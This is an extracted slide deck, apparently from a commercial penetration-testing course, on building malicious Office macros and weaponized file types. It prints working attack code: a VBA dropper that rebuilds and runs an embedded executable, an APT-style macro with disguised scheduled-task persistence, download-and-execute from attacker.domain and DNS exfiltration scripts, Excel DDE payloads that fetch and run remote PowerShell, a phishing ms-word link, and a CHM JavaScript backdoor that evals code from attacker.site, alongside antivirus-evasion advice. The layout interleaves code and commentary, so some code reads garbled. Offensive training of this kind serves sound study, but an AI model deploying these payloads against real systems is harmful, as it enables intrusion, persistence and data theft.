wdFormatRTF, LockComments:=False, Password:="", AddToRecentFiles:= _ way the embedded OLE objects will be dropped into
True, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:= _
False, SaveNativePictureFormat:=False, SaveFormsData:=False, _
the TEMP directory), waiting for about 4-5 seconds
SaveAsAOCELetter:=False and executing kavremover.exe to trigger the DLL
Sleep (2)
hijacking vulnerability.
Application.Documents("clone_as_rtf.rtf").Close (Word.WdSaveOptions.wdDoNotSaveChanges)
Sleep (2)
Since RTF files do not support macros we are using a
Shell ("cmd /c start winword %TEMP%/save_as_rtf.rtf & timeout 5 & %TEMP%\kavremover.exe")
macro-supporting file such as a DOC file.
End Sub

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.78


1.3.1 Custom macro development

Case 6: Embedding an executable in a macro


(executable2vbs)

The following macro malware contains an executable


inside its code in the form of hex dumps in strings. The
embedded executable is going to be “re-assembled”,
dropped in a temporary directory and executed from there.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.79


1.3.1 Custom macro development

Executable2vbs
The same could be performed with a DLL file, in case
executables are blocked. There are numerous ways to embed
and execute an executable or DLL inside an Office file. The
easiest way is using Didier Stevens’ file2vbscript python script.

Once again, since the on-disk footprint of this attack is large, we


have to make sure our malicious executable or DLL is capable of
evading defenses. To accomplish this, we can use the custom
MSF loader of the previous case or the PowerShell based
beaconing malware we will cover later on.
http://www.didierstevens.com/files/software/file2vbscript_v0_3.zip PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.80
1.3.1 Custom macro development
Executable2vbs
Sub DoIt()
Dim strFile Executing the “re-assembled” executable.
strFile = "file.exe"
DumpFile strFile
RunFile strFile
End Sub The executable is embedded inside the macro
Sub RunFile(strFilename) in the form of hex dumps in strings.
Dim sh

Set sh = CreateObject("WScript.Shell")
sh.Run strFilename
End Sub
Writing the embedded executable to the
Sub WriteBytes(objFile, strBytes)
Dim aNumbers temporary file.
Dim iIter

aNumbers = split(strBytes)
for iIter = lbound(aNumbers) to ubound(aNumbers)

next
objFile.Write Chr(aNumbers(iIter)) Here we explain the macro’s main
End Sub functionality. In the case of an embedded DLL,
Sub DumpFile1(objFile)
WriteBytes objFile, "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0"
LoadLibrary would be called to load our library
WriteBytes
WriteBytes
objFile,
objFile,
"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180
"33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110
9 205"
110 111" in the Office application’s process. To do this,
WriteBytes
WriteBytes
objFile,
objFile,
"116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13
"36 0 0 0 0 0 0 0 80 69 0 0 76 1 3 0 101 114 248 88 0 0 0 0 0 0 0 0 224 0 2 1
13 10"
11 1" the following should be added in our macro,

among other things.
Sub DumpFile(strFilename)
Dim objFSO
Private Declare Function LoadLibrary Lib
Dim objFile "KERNEL32" Alias "LoadLibraryA" (ByVal
Set objFSO = CreateObject("Scripting.FileSystemObject") strFileName As String) As Long
Set objFile = objFSO.OpenTextFile(strFilename, 2, true)
DumpFile1 objFile
Private Declare Function FreeLibrary Lib
DumpFile2 objFile "KERNEL32" (ByVal hLibrary As Long) As Long

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.81


1.3.1 Custom macro development

Case 7: Network-tracing macro

This macro malware performs network sniffing by


leveraging PowerShell’s network tracing capabilities.
Specifically, it drops and executes a hardcoded PS1 script
that does all the heavy lifting.

https://blogs.technet.microsoft.com/heyscriptingguy/2015/10/12/packet- PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.82


sniffing-with-powershell-getting-started/
1.3.1 Custom macro development

Network-tracing macro
A macro malware with network tracing capabilities can
prove handy for reconnaissance activities.

You can find the source code on the following link.


• https://gist.github.com/anonymous/a3ebd8928135ae29
fc341c6036bc7eac

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.83


1.3.1 Custom macro development

Case 8: The APT perspective: Multi-stage macro malware


using DNS for payload retrieval and exfiltration

In this case we will analyze the tactics, techniques and


procedures (TTPs) of a macro malware that was used by an
APT group.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.84


1.3.1 Custom macro development
Multi-stage macro malware using DNS
The macro malware had embedded encoded malicious scripts,
dropped various files on its host, performed enumeration
activities and used DNS for both payload retrieval and exfiltration
purposes, all to remain under the radar.

It is a great case-study of how various techniques can be


combined to evade defenses and remain stealthy. You can find a
similar source code to the one we will analyze below in the
following link.
• https://gist.github.com/anonymous/d0da355e5c21a1228668
08d37234cd5d
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.85
1.3.1 Custom macro development
Multi-stage macro malware using DNS Retrieving base64-encoded content from specified
cells contained in a worksheet named
Sub Init()
Set UpdateVbs = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 25) “Incompatible”.
Set DnsPS1 = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
Set wss = CreateObject("WScript.Shell")
Performing a presence check regarding a file at the
Set fso = CreateObject("Scripting.FileSystemObject")
path %PUBLIC%\Libraries\update.vbs. If the file is
If Not (fso.FileExists(wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\update.vbs")) Then missing, the macro creates three different
fso.CreateFolder (wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\up") directories under %PUBLIC%\Libraries. The created
fso.CreateFolder (wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\dn")
directories are named “up”, “dn”, and “tp”.
fso.CreateFolder (wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\tp")
'wss.Run "powershell.exe " & Chr(34) & "& {waitfor haha /T 2}" & Chr(34),0
'Application.Wait (Now + TimeValue("00:00:05")) PowerShell is utilized to base64 decode the
'Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\update.vbs")
'Call Extract(DnsPs1, wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\dns.ps1")
retrieved content from the worksheet. The
'Application.Wait (Now + TimeValue("00:00:01")) decoded content is then dropped into two different
'wss.Run "powershell.exe " & Chr(34) & "& {(Get-Content $env:Public\Libraries\update.vbs) -replace '__',(Get-Random) | files: %PUBLIC%\Libraries\update.vbs and
Set-Content $env:Public\Libraries\update.vbs}" & Char(34),0
'------
%PUBLIC%\Libraries\dns.ps1
cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" & UpdateVbs & "'));
Add-Content '" & wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\update.vbs" & "'
$f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" & DnsPs1 & "')); Add-Content '" & Finally as a persistence mechanism a scheduled
wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\dns.ps1" & "' $f;(Get-Content $env:Public\Libraries\update.vbs) -replace
'__',(Get-Random) | Set-Content $env:Public\Libraries\update.vbs}"""
task is created by the macro with name:
CreateObject("WScript.Shell").Run cmd, 0 GoogleUpdateTaskMachineUI, which executes
'------ update.vbs every three minutes.
wss.Run "schtasks /create /F /sc minute /mo 3 /tn " & Chr(34) & "GoogleUpdateTaskMachineUI" & Chr(34) & " /tr " &
wss.ExpandEnvironmentSettings("%PUBLIC%") & "\Libraries\update.vbs", 0
Set wss = Nothing Here we analyze the macro malware’s Init function,
Set fso = Nothing only. This is the first function called by the
End If
malware.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.86


1.3.1 Custom macro development

Multi-stage macro malware using DNS


Inside the macro there is code that actually displays
additional spreadsheet data when the user enables macros.

This is an interesting technique that eliminates suspicion.


Sub ShowHideSheets()
If ActiveWorkbook.Worksheets(1).Visible then
Dim WS_Count As Integer
Dim I As Integer
WS_Count = ActiveWorkbook.Worksheets.Count
For I = 1 to WS_Count
ActiveWorkbook.Worksheets(I).Visible = True
Next I
ActiveWorkbook.Worksheets(1).Visible = False
ActiveWorkbook.Worksheets(2).Activate
End If

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.87


1.3.1 Custom macro development
Multi-stage macro malware using DNS Utilizes PowerShell to download content from the
URI
http://attacker.domain/update.aspx?req=xxx\dwn&
HOME="%public%\Libraries\" m=d and saves it in the directory
Server="http://attacker.domain %PUBLIC%\Libraries\dn.
Dwn="powershell ""&{$wc=(new-object System.Net.WebClient);while(1){try{$r=Get- Utilizes PowerShell to download a batch file from the
Random;$wc.DownloadFile('"&SERVER&"-_&m=d','"&HOME&"dn\'+$r+'.-_');Rename-Item - URI
path ('"&HOME&"dn\'+$r+'.-_') -newname ($wc.ResponseHeaders['Content- http://attacker.domain/update.aspx?req=xxx\bat&m
Disposition'].Substring($wc.ResponseHeader['Content- =d and saves it in the directory
Disposition'].IndexOf('filename=')+9))}catch{break}}}""" %PUBLIC%\Libraries\dn.
CreateObject("WScript.Shell").Run Replace(Dwn,"-_","dwn"),0
DownloadExecute="powershell ""&{$r=Get-Random;$wc=(new-object Performs an HTTP POST request with the intention of
System.Net.WebClient);$wc.DownloadFile('"&SERVER&"-_&m=d','"&HOME&"dn\'+$r+'.- uploading the results to the URI
_');Invoke-Expression ('"&HOME&"dn\'+$r+'.-_ >"&HOME&"up\'+$r+'-_');Rename-Item http://attacker.domain/update.aspx?req=xxx\upl&m
-path ('"&HOME&"up\'+$r+'-_') -newname ($wc.ResponseHeaders['Content- =u.
Disposition'].SubString($wc.ResponseHeader['Content-
Disposition'].IndexOf('filename=')+9+'.txt');Get-ChildItem "&HOME&"\up | Executes the PowerShell script dns.ps1, which is used
ForEach-Object {if((Get-Item ($_.FullName)).length -gt for the purposes of payload retrieval and data
0){wc.UploadFile('"&SERVER&"upl&m=u',$_.FullName)};Remove-item exfiltration using DNS.
$_.FullName};Remove-Item ('"&HOME&"dn\'+$r+'.-_')}"""
CreateObject("WScript.Shell").Run Replace(DownloadExecute,"-_","bat"),0 First Stage Download
DnsCmd="powershell -ExecutionPolicy Bypass -File "&HOME&"dns.ps1" Here we analyze the dropped update.vbs file, which
will be executed every three minutes, from a created
CreateObject("WScript.Shell").Run DnsCmd,0 scheduled task.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.88


1.3.1 Custom macro development

Multi-stage macro malware using DNS


During the attack the APT group dropped a custom version
of mimikatz and a batch file (shown below) to obtain
critical system information, such as the hostname, user and
group accounts, local and domain administrator accounts,
etc.
whoami & hostname & ipconfig /all & net user /domain 2>&1 & net group /domain 2>&1 & net group "domain admins" /domain
2>&1 & net group "Exchange Trusted Subsystem" /domain 2>&1 & net accounts /domain 2>&1 & net user 2>&1 & net localgroup
administrators 2>&1 & netstat -an 2>&1 & tasklist 2>&1 & sc query 2>&1 & systeminfo 2>&1 & reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.89


1.3.1 Custom macro development
Multi-stage macro malware using DNS
function SendReceiveDNS ($d)
{ The malware’s DNS communication parts included the following
$cnt = 0; steps.
while ($cnt -lt 20) 1. The script requests an ID from the attacker’s domain,
{
try
using DNS.
{
$mydata = ([System.Net.DNS]::GetHostByName($d+$global:myhost).AddressList[0]);
2. The attacker’s C2 server is queried for instructions. If
$mydata = ($mydata | ForEach-Object {$_.IPAddressToString}); no further actions are required, the execution of the
$cnt = 25;
}
script is stopped and will be executed again along
catch with the next execution of update.vbs
{
Start-Sleep -m 500; 3. There is a pattern the malware can identify, when an
$cnt++;
}
action is required. This pattern comes in the form a
} specifically formatted IP address. Specifically,
if(-not($cnt -eq 25))
33.33.xx.yy. If this pattern is identified, a file is
{ created at %PUBLIC%\Libraries\tp\chr(xx)chr(yy).bat.
}
('#'+'##');
Those xx.yy octets will contain the payload, which
will be eventually embedded into the
elseif($global:myflag -eq 0 -and $mydata.StartsWith('33.33.'))
{
abovementioned BAT file. When the 35.35.35.35 IP is
$tmp = $mydata.SubString(6).Split('.'); returned, the payload transfer would be complete.
$global:filename = ([char] [int] $tmp[0]) + ([char] [int] $tmp[1]);
$global:myflag = 1; 4. Once the whole payload has been constructed, the
} BAT file will be executed and the results will be
elseif ($mydata.Equals('35.35.35.35')) stored at %PUBLIC%\Libraries\tp\chr(xx)chr(yy).txt.
{
$global:myflag = 0;
5. The abovementioned BAT script’s results will then
} exfiltrated through DNS requests.
elseif ($global:myflag -eq 1) 6. All evidence of execution on disk are finally deleted.
{
$tmp = $mydata.Split('.');
[System.IO.File]::AppendAllText($global:myhome+'tp\'+$global:filename+".bat", (([char] [int] $tmp[0]) + ([char] [int] $tmp[1]) + ([char] [int] $tmp[2]) + ([char]
[int] $tmp[3])));
}
Data Exfiltration over DNS
elseif($global:myid -eq '#'+'##')
Here we analyze the dropped dns.ps1. Specifically, its DNS
{
([char] [int] $mydata.Split('.')[0]);
communication parts. The source code excerpt demonstrates
} step 2 above.
}

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.90


1.3.1 Custom macro development

Multi-stage macro malware using DNS


To better understand the DNS query structure used by the
malware refer to the following table.
Subdomain used to request for [00][botid]00000[base36 random number]30
BotID, used in step 2 above
Subdomain used while [00][botid]00000[base36 random number]232A[hex_filename][i-counter]
performing file transfers used in
step 3 above
Subdomain used while [00][botid][cmdid][partid][base36 random number][48-hex-char-of-file-
performing file upload, used in content]
step 5 above

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.91


1.3.1 Custom macro development

Multi-stage macro malware using DNS


In addition, two great resources on using DNS through
PowerShell are the following.
• http://www.labofapenetrationtester.com/2015/01/fun-
with-dns-txt-records-and-powershell.html

• http://0entropy.blogspot.gr/2012/04/powershell-
metasploit-meterpreter-and.html
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.92
1.3.1 Custom macro development

Case 9: The forbidden fruit: Macro malware performing


direct shellcode injection.

There are numerous techniques which can be used inside a


macro to perform direct shellcode injection, since VBA can
directly interact with Windows APIs.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.93


1.3.1 Custom macro development
Macro based shellcode injection
Even though the above is a quite stealthy technique, in terms of
payload execution, we wouldn’t recommend using it since not
only it cannot be easily obfuscated, but it will also get picked up
by a security solution, at the time of the injection into the
Microsoft Office software targeted.

Evasion techniques to avoid getting caught by security solutions


exist, like the one presented on the link below, the amount of
extra noise they produce is significant though.
• https://labs.mwrinfosecurity.com/assets/BlogFiles/one-
template-to-rule-them-all-t2.pdf
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.94
1.3.1 Custom macro development

Case 10: Macros on PowerPoint

The equivalent of automatically run macros on PowerPoint


is PowerPoint’s Custom Actions. Malware authors seem to
be using PowerPoint and Custom Actions lately instead of
Microsoft Word and Excel files with macros.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.95


1.3.1 Custom macro development

Powerpoint: Custom Actions


For example, if we would like to trigger a Visual Basic
module inside a PowerPoint handled file using Custom
Actions, we would do the following.

Once the developer tab is enabled (File – Options –


Customize Ribbon) go to Developer and click Visual Basic.
Then click Insert and choose Module. This is where you will
place your malicious code.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.96
1.3.1 Custom macro development

Powerpoint: Custom Actions


Now let’s create a triggering mechanism.

Go to Insert, click the item which you want to associate the


action with and click on Action.

Then you can choose either the Mouse Click or Mouse Over
tabs and then click on Run macro to associate the module
you have inserted before with the action.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.97
1.3.1 Custom macro development

Powerpoint: Custom Actions


If you want to automatically execute the Visual Basic
module you inserted without using Custom Actions, you
can do this by adding an Office 2007 Custom UI part.

The procedure is as follows.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.98


1.3.1 Custom macro development
Powerpoint: Custom Actions
1. Insert the module you want and save the PowerPoint
presentation as a macro-supporting PowerPoint file type

2. Unzip the PowerPoint file you saved

3. Edit the _rels/.rels file to add the following line right before
the last </Relationships>. <Relationship
Type=http://schemas.microsoft.com/office/2006/rel
ationships/ui/extensibility
Target=“/customUI/customUI.xml”
Id=”Rd6e72c29d34a427e” />
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.99
1.3.1 Custom macro development
Powerpoint: Custom Actions
4. Create a new directory on the same level as the _rels
directory called “customUI”.

5. Inside customUI directory create a customUI.xml file


containing the following. <customUI
xmlns=http://schemas.microsoft.com/office/2006/01/cust
omui onLoad=”name of your VBA module” ></customUI>

6. Zip the whole directory and rename it to the filename you


used to save the original PowerPoint presentation
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.100
1.3.1 Custom macro development

Powerpoint: Custom Actions


Now, your VBA module will automatically run as soon as
the user enables macros.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.101


1.3.1 Custom macro development

Finally, a similar technique exists that can prove handy in


restricted environments where macros are disabled globally. This
technique utilizes OLE Objects and Custom Animation. For
details please refer to the OLE Objects part of this module.

Evading AVs is a crucial part of macro-based attacks. It is


recommended that you perform manual or automated VBA
obfuscation techniques prior to the attack. For an automated tool
performing VBA obfuscation, please refer to the following link.
https://github.com/Pepitoh/Vbad.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.102
1.3.1 Custom macro development

Later in the course we will dedicate a whole module to


evading both network-based and endpoint-based defenses.

We have barely scratched the surface as far as custom


macro development is concerned. Malicious macro
development can only be limited by the author’s
imagination.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.103


1.3.1 Custom macro development

We chose to illustrate some macro malware cases to give


you an idea of how Visual Basic for Applications,
PowerShell, WMI scripting and Windows Script Host are
being used by malware authors.

Bottom line is you can pretty much implement anything you


can imagine, leveraging the abovementioned technologies,
from inside a macro.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.104
1.3.1 Lab
Put what you’ve learned to
practice with the Custom
Macro Development lab!

To ACCESS your lab, go to the


course in your members area
and click the labs drop-down
in the appropriate module line,
then click the manual icon.

Please note that labs are


only available in Full or
Elite Editions. *NOTE: some courses contain several labs and manuals, please make sure to click the file icon as it may
be a zip that contains multiple lab manuals.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.105


1.3.1 Video
Check out the video on
Delivering a Triggerable
Outlook Malware via Macros!

To ACCESS your video, go to


the course in your members
area and click the resources
drop-down in the appropriate
module line.

Please note that videos


are only available in Full
or Elite Editions.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.106
1.3.2 Abusing Office capabilities

The Microsoft Office Suite contains built-in functionality


that can greatly assist us while trying to gain an initial
foothold on a network.

In this section, we will go through Office functionality that


can be abused for effective social engineering.

*To return to slide 70, click HERE. **To return to slide 102, click HERE. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.107
1.3.2 Abusing Office capabilities

Case 1: Object Linking and Embedding (OLE) Objects

In restricted environments where macros are globally


disabled, malware authors misuse the legitimate Office
object linking and embedding (OLE) capability to trick users
into enabling and downloading malicious content.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.108


1.3.2 Abusing Office capabilities

OLE Objects
Object Linking and Embedding (OLE) is a proprietary technology
developed by Microsoft that allows embedding and linking to
documents and other objects.

Specifically, according to Microsoft: The Object Linking and


Embedding (OLE) Data Structures allow data from one
application to be stored in the document of another application.
The first application is called the creating application and the
second application is called the container application. The data
itself is called an embedded object.
https://msdn.microsoft.com/en-us/library/dd942142.aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.109
1.3.2 Abusing Office capabilities

OLE Objects
For example, a user can embed a spreadsheet (which is
data that belongs to the spreadsheet application) in a word-
processing document.

When the word-processing application displays the


document to the user, it can establish that the spreadsheet
data belongs to the spreadsheet application and the word-
processing application can interact with the spreadsheet
application to display the spreadsheet data to the user.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.110
1.3.2 Abusing Office capabilities

OLE Objects
There are limitless possibilities on what we can embed
inside an Office document, leveraging Office’s object linking
and embedding (OLE) capability.

We can embed malicious Office documents, VBS files, JS


files, EXE files, HTA files, CHM files etc.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.111


1.3.2 Abusing Office capabilities

OLE Objects
It should be noted that a great advantage of using OLE objects in
our social engineering engagements is the fact that we can
customize both the extension and the icon, at least before the
target actually clicks the embedded object.

Let’s see an example of triggering an embedded OLE object


inside a PPSM PowerPoint file. First let’s insert the file we want
to embed.

To do this follow the procedure below.


PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.112
1.3.2 Abusing Office capabilities

OLE Objects
Navigate to Insert tab and click on Object. Then, on the
object type list choose package and locate the file you want
to embed (in this step you can customize the filename,
extension and icon of your embedded object).

Now, let’s setup an automatic triggering mechanism using


a custom animation. To do this, follow the procedure
below.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.113
1.3.2 Abusing Office capabilities

OLE Objects
• Choose the OLE object you embedded. Go to the Animations
tab and click on Add Navigation. From the drop-down menu
choose OLE Action verbs and click on Activate Contents.

• Now again on the Animation tab choose Animation Pane.


Navigate to the Animation Pane that showed up, you should
see an Object. Click on the down arrow at the right side of the
Object to activate a drop down menu and choose the Start
After Previous option.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.114
1.3.2 Abusing Office capabilities

OLE Objects
By the time the user opens the PPSM PowerPoint file our
embedded OLE object will be triggered and a dialog will
appear requesting the user’s consent to execute the
embedded object.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.115


1.3.2 Abusing Office capabilities

Case 2 : Exploiting MS16-032 via Excel DDE without


macros

DDE (Dynamic Data Exchange) is an old Microsoft


technology used to facilitate data transfer between
applications, a form of Inter-Process Communication (IPC).

https://msdn.microsoft.com/en- PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.116


us/library/windows/desktop/ms648774(v=vs.85).aspx
1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


DDE actually sends messages between applications that
share data and uses shared memory to exchange data
between applications.

The security risks in the context of web applications are


described here by James Kettle.

https://www.contextis.com/resources/blog/comma-separated- PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.117


vulnerabilities/
1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


Imagine the following contents in spreadsheet’s cell.
=cmd|'/c calc.exe'!A1

Excel will execute the first part of the payload, which is


cmd.exe. The second part is actually the arguments for
cmd.exe.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.118


1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


It should be noted that arguments have to be inside single
quotes and that there are length restrictions on both the
executable and the arguments.

For example interacting with PowerShell directly is not


possible due to the abovementioned restrictions.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.119


1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


This is why we will pass PowerShell.exe as an argument to
cmd.exe and instruct PowerShell to load a script from a
remote location and execute it leveraging DDE.

For encoded payloads we would use the following:


=cmd|'/c powershell.exe -w hidden $e=(New-Object
System.Net.WebClient).DownloadString(\"https://tru
sted.domain/script.base64\");powershell -e $e'!A1
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.120
1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


And the following for decoded scripts:

=cmd|'/c powershell.exe -w hidden $e=(New-Object


System.Net.WebClient).DownloadString(\"https://tru
sted.domain/script.ps1\");IEX $e'!A1

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.121


1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


In the case of an internal penetration test, the attack can be
even stealthier by pointing “cmd /c” directly at a BAT script
hosted in a WebDAV directory.

=cmd|’/c \\evilserver.com\sp.bat;IEX $e’!A1

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.122


1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


When the target opens a CSV or Excel file containing such a
value in a field, Excel knows that this DDE reference could
be dangerous and issues a couple of warnings (script.ps1
in this case includes a PowerShell Empire stager).

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.123


1.3.2 Abusing Office capabilities
MS16-032 via Excel DDE
1

2
3

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.124


1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


Consequently, Excel’s DDE can prove handy on
environments where macros are globally disabled.

Let’s now see how we can combine Excel’s DDE


functionality with a well known exploit to gain a reverse
shell with SYSTEM privileges, without using any macros.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.125


1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


Windows suffered from a vulnerability in its secondary login
function, which had a race condition for a leaked elevated
thread handle, this vulnerability was fixed as MS16-032.

For more details please refer here.

https://web.archive.org/web/20161110175230/https://technet.microsoft.com/en-us/library/security/ms16-032.aspx
https://googleprojectzero.blogspot.gr/2016/03/exploiting-leaked-thread-handle.html PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.126
1.3.2 Abusing Office capabilities

MS16-032 via Excel DDE


A PowerShell exploit was released for this vulnerability by
FuzzySecurity.

In order to remotely load and execute the exploit leveraging


Excel’s DDE functionality you can use the following
modified MS16-032 exploit.

https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1
https://gist.github.com/ssherei/41eab0f2c038ce8b355acf80e9ebb980
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.127
1.3.2 Abusing Office capabilities
Case 3: Office-handled links

When a user clicks on an HTML page having the following


format, Microsoft Word will be run to handle the opening of
the served document. Links like that could be misused for
phishing purposes.
<html>
<a href="ms-word:nft|u|http://attacker.domain/malicious.docx">Click Me</a>
</html>

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.128


1.3.3 Uncommon extensions

There are limitless possibilities on


weaponizing/backdooring uncommon file types.

In this section we will discuss a subset of them that has


proven to be effective and we will combine them with both
custom and security tool-derived code to launch attacks.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.129


1.3.3 Uncommon extensions

Specifically, we will cover:


• CHM files containing a custom JavaScript backdoor
• HTA files containing a custom JavaScript backdoor
• LNK files
• IQY files for credential and NTLM hash harvesting
• MSG files to evade email defenses
• RTF files for auto-dropping

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.130


1.3.3 Uncommon extensions

Microsoft Compiled HTML Help (CHM) files


Microsoft Compiled HTML Help (CHM) is a Microsoft
proprietary online help format, consisting of a collection of
HTML pages, an index and other navigation tools.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.131


1.3.3 Uncommon extensions

CHM Files
The files are compressed and deployed in a binary format
with the extension CHM, for Compiled HTML. The format is
often used for software documentation.

One important thing should be noted with performing social


engineering attacks containing CHM files via email. When
users download the file themselves, they have to right-click
the CHM file, select properties and check the “unblock” box.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.132
1.3.3 Uncommon extensions

CHM Files
This could be easily bypassed using the download an
execute macro we covered.

It seems CHM files downloaded programmatically do not


have to be “unblocked” to be executed.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.133


1.3.3 Uncommon extensions
CHM Files + Custom JS Backdoor
First, let’s combine a CHM file with a custom JavaScript
backdoor and then we will use our custom JavaScript backdoor
to perform a multi-stage attack. Our custom JavaScript backdoor
will utilize an offensive technique brought to light by the
Win32/Poweliks malware.

For the specifics of the abovementioned offensive technique


please refer to the following link.
• https://thisissecurity.stormshield.com/2014/08/20/poweliks-
command-line-confusion/
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.134
1.3.3 Uncommon extensions

CHM Files + Custom JS Backdoor


Numerous CHM file creating programs exist. To weaponize
a CHM file with a custom JavaScript backdoor you have to
insert the following HTML file inside the CHM file. You can
find the abovementioned HTML’s source code in the
following link.

https://gist.github.com/anonymous/15e99d0fd883692bd2
e300634ed3c09b
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.135
1.3.3 Uncommon extensions
CHM Files + Custom JS Backdoor
Instantiate a WinHttpRequest
<!DOCTYPE html><html><head><title>Click Me</title><head></head><body> Object.
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
height=1> Initialize an HTTP request.
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" Send the HTTP request.
value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GE
T","http://attacker.site/connect",false);try{h.Send();b=h.ResponseText;eval(b);}c
atch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im Evaluate the payload.
rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
HTML file containing a
</OBJECT>
JavaScript backdoor for CHM
<SCRIPT>
weaponization.
x.Click(); The backend is based on a
</SCRIPT> custom version of JSRat-Py
</body></html> project.

https://github.com/Hood3dRob1n/JSRat-Py PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.136


1.3.3 Uncommon extensions

CHM Files + Custom JS Backdoor


Now that you know how a CHM file can be weaponized, to
save some time, you could also use the Out-CHM
functionality of Nishang to create a malicious CHM file.

To speed things up, in establishing a reverse shell using our


custom JavaScript backdoor contained in the CHM file, we
can use the platform independent JSRat-Py project.
https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1
